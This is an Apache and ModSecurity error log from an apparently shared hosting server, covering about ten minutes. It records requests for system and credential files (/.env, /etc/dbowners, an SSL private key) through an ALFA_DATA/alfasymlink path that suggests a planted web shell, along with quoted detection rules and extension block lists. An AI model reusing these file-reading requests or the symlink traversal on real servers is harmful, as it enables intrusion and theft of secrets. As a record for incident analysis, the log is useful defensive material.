[Mon Oct 26 15:36:23.087554 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 44.214.19.8:30855] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/rom
[Mon Oct 26 15:36:26.626418 2026] [core:error] [pid 3084087:tid 3084087] (13)Permission denied: [client 216.244.66.250:60846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/x86_64-redhat-linux-g++
[Mon Oct 26 15:36:26.921197 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.45.194.165:63584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:36:34.960620 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.223.134.5:35632] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:36:38.851080 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 52.204.37.237:8896] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:37:14.985456 2026] [security2:error] [pid 3089355:tid 3089355] [client 35.170.205.140:1705] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/subsystem/devices/cpu0/driver/cpu1/node0/memory15/"] [unique_id "at-r6ml9busrkyxI7OQV3AAAAAI"]
[Mon Oct 26 15:37:14.985503 2026] [security2:error] [pid 3089355:tid 3089355] [client 35.170.205.140:1705] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/subsystem/devices/cpu0/driver/cpu1/node0/memory15/"] [unique_id "at-r6ml9busrkyxI7OQV3AAAAAI"]
[Mon Oct 26 15:37:26.200646 2026] [security2:error] [pid 3084056:tid 3084056] [client 216.244.66.250:57066] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/whatwg-url/lib/"] [unique_id "at-r9nKvFNFM41eF9Ijk7wAAADc"]
[Mon Oct 26 15:37:26.200685 2026] [security2:error] [pid 3084056:tid 3084056] [client 216.244.66.250:57066] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/whatwg-url/lib/"] [unique_id "at-r9nKvFNFM41eF9Ijk7wAAADc"]
[Mon Oct 26 15:37:27.056885 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.217.255.167:4266] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:37:31.351575 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.44.174.136:15811] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:37:35.265633 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.207.47.227:4089] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:37:47.300654 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.194.233.48:35812] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:38:03.774777 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.193.102.198:12446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:38:15.400623 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.1.157.90:21658] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:38:19.461387 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 34.202.88.37:12904] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:38:23.476922 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.205.74.196:61139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:38:39.519767 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 23.21.227.240:30655] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:38:47.529365 2026] [ssl:error] [pid 3084025:tid 3084025] (5)Input/output error: [client 34.194.165.45:39934] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:38:51.898386 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.207.47.227:13530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:38:55.680642 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 107.20.181.148:24938] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:38:59.661519 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.207.252.58:27071] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:39:03.542281 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 18.205.91.101:28102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:39:07.617627 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.233.219.155:25583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:39:08.891993 2026] [security2:error] [pid 3064975:tid 3064975] [client 43.134.236.36:43038] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeok4.php"] [unique_id "at-sXMdX-waAlDqXJHtVBQAAABY"]
[Mon Oct 26 15:39:12.018147 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 52.2.83.227:61250] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:39:15.831833 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 34.233.219.155:31673] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/tty/tty1/subsystem/tty3/subsystem/ttyS0/flags
[Mon Oct 26 15:39:23.698929 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 23.21.119.232:12509] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:39:35.870688 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.3.127.170:21411] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:39:40.316503 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.204.71.8:24232] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:39:43.809064 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 100.24.167.60:11726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:39:47.722165 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.144.185.255:8565] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:39:59.899809 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 35.174.141.243:15598] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:40:15.958737 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 18.205.91.101:10710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:40:23.729623 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.213.106.226:43905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:40:24.505352 2026] [authz_core:error] [pid 3052342:tid 3052342] [client 141.8.56.240:43556] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 15:40:27.945407 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.44.174.136:42945] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:40:31.762429 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.93.253.174:9151] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:40:36.073871 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.195.50.71:51358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:40:40.021448 2026] [core:error] [pid 3084087:tid 3084087] (13)Permission denied: [client 34.234.197.175:38489] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/PNP0303:00/physical_node/subsystem/uevent
[Mon Oct 26 15:40:44.268981 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.207.207.36:31029] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:41:01.733153 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 18.211.148.239:57466] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:41:07.859706 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 54.225.199.17:9225] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/subsystem/devices/device:1b/eject
[Mon Oct 26 15:41:08.367019 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 85.208.96.212:19842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/partial
[Mon Oct 26 15:41:12.179860 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 107.20.181.148:32735] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:41:15.776108 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 50.16.248.61:41102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:41:19.799190 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 18.235.158.19:63099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:41:23.800559 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.207.207.36:25533] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:41:35.821138 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 18.214.138.148:2122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:41:39.882758 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.208.156.9:45075] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:41:51.799906 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.234.206.30:9425] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:41:59.853499 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.70.123.241:33971] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:42:03.748296 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 18.209.137.234:31074] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:42:07.908648 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 35.169.102.85:47380] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:42:11.917191 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 18.232.12.157:41356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:42:19.816713 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.235.191.179:46418] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:42:23.341389 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 85.208.96.207:24240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/store_user
[Mon Oct 26 15:42:23.926140 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 35.171.117.160:16238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:42:35.114040 2026] [core:error] [pid 3084087:tid 3084087] (13)Permission denied: [client 85.208.96.198:13596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/reclaim_account
[Mon Oct 26 15:42:35.920385 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 23.21.179.27:30707] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/remove
[Mon Oct 26 15:42:36.314561 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 85.208.96.198:13604] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/dbowners
[Mon Oct 26 15:42:39.733623 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 18.232.12.157:43701] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/rescan
[Mon Oct 26 15:42:44.017421 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.210.155.69:48135] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:42:51.792749 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.94.157.25:42335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:42:59.909225 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 100.28.57.133:26042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:43:04.239483 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 3.210.114.189:65501] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/device:09/eject
[Mon Oct 26 15:43:09.191237 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.84.169.196:1224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:43:15.922324 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.206.212.24:59001] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:43:18.142276 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 16.216.88.157:16384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/initramfs-0-rescue-4dc17870944da335763f0b1728f597d1.img
[Mon Oct 26 15:43:19.998891 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.230.124.21:38822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:43:27.670682 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 44.196.118.6:28890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:11/subsystem/uevent
[Mon Oct 26 15:43:31.732583 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 54.91.122.193:58995] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/driver/unbind
[Mon Oct 26 15:43:40.191087 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 23.22.105.143:1423] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/close_delay
[Mon Oct 26 15:43:44.055781 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.212.131.50:51429] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:43:47.820755 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 107.22.208.39:15906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:43:52.462486 2026] [security2:error] [pid 3065807:tid 3065807] [client 130.12.180.170:20974] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-teBjIL9Z3tuLhXUCuqAAAAAc"]
[Mon Oct 26 15:43:52.462728 2026] [security2:error] [pid 3065807:tid 3065807] [client 130.12.180.170:20974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-teBjIL9Z3tuLhXUCuqAAAAAc"]
[Mon Oct 26 15:43:52.463084 2026] [security2:error] [pid 3065807:tid 3065807] [client 130.12.180.170:20974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-teBjIL9Z3tuLhXUCuqAAAAAc"]
[Mon Oct 26 15:43:55.642295 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.204.89.12:8116] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:43:59.818958 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.226.106.93:11104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:44:05.316668 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 18.207.79.144:23185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:44:07.866626 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.221.156.96:23574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:44:19.880469 2026] [ssl:error] [pid 3084056:tid 3084056] (6)No such device or address: [client 34.195.60.66:32612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:44:35.901284 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 35.169.102.85:63852] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:44:40.105594 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.83.94.113:48226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:44:43.777384 2026] [security2:error] [pid 3084023:tid 3084023] [client 44.221.37.41:39135] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/virtio2/"] [unique_id "at-tq3Ms9DEewnALzGZzwQAAACM"]
[Mon Oct 26 15:44:43.777430 2026] [security2:error] [pid 3084023:tid 3084023] [client 44.221.37.41:39135] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/virtio2/"] [unique_id "at-tq3Ms9DEewnALzGZzwQAAACM"]
[Mon Oct 26 15:44:51.816307 2026] [authz_core:error] [pid 3065807:tid 3065807] [client 94.154.43.187:51956] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 15:45:07.855202 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 44.209.35.147:37977] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:45:08.210033 2026] [security2:error] [pid 3089355:tid 3089355] [client 85.208.96.204:36086] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d3380_ed2d3_4be9c901ab044aeece4c08f539248a65.key"] [unique_id "at-tw2l9busrkyxI7OQV6gAAAAI"]
[Mon Oct 26 15:45:08.210448 2026] [security2:error] [pid 3089355:tid 3089355] [client 85.208.96.204:36086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d3380_ed2d3_4be9c901ab044aeece4c08f539248a65.key"] [unique_id "at-tw2l9busrkyxI7OQV6gAAAAI"]
[Mon Oct 26 15:45:08.210866 2026] [security2:error] [pid 3089355:tid 3089355] [client 85.208.96.204:36086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d3380_ed2d3_4be9c901ab044aeece4c08f539248a65.key"] [unique_id "at-tw2l9busrkyxI7OQV6gAAAAI"]
[Mon Oct 26 15:45:27.771193 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 18.209.201.119:50144] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:45:35.719296 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 54.86.59.155:58445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:45:44.641812 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 3.89.176.255:62579] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:05.0/remove
[Mon Oct 26 15:45:47.732004 2026] [ssl:error] [pid 3084056:tid 3084056] (22)Invalid argument: [client 23.21.179.120:34476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:45:56.413294 2026] [ssl:error] [pid 3058816:tid 3058816] (5)Input/output error: [client 3.229.164.203:27786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:46:05.572115 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 185.191.171.15:53384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/cache_dma
[Mon Oct 26 15:46:07.594223 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 85.208.96.205:24322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/destroy_by_rcu
[Mon Oct 26 15:46:07.745421 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.225.98.148:9935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:46:15.887289 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 34.239.197.197:34332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:46:19.972748 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.23.112.144:27205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:46:22.525140 2026] [security2:error] [pid 3084025:tid 3084025] [client 43.165.198.144:53502] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at-uDjbNxAL0swfcTQjCKAAAACU"]
[Mon Oct 26 15:46:22.546169 2026] [authz_core:error] [pid 3084025:tid 3084025] [client 43.165.198.144:53502] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Mon Oct 26 15:46:23.792286 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.220.148.166:20110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:46:27.708432 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 35.171.117.160:60308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:46:31.867150 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 52.21.62.139:52902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:00/physical_node/i2c-0/delete_device
[Mon Oct 26 15:46:39.703207 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.194:57968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-max/red_zone
[Mon Oct 26 15:46:45.692273 2026] [ssl:error] [pid 3065807:tid 3065807] (5)Input/output error: [client 98.80.130.239:44649] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:46:47.760664 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.226.89.140:45848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:46:51.918349 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 185.191.171.10:50732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm/sections/__verbose
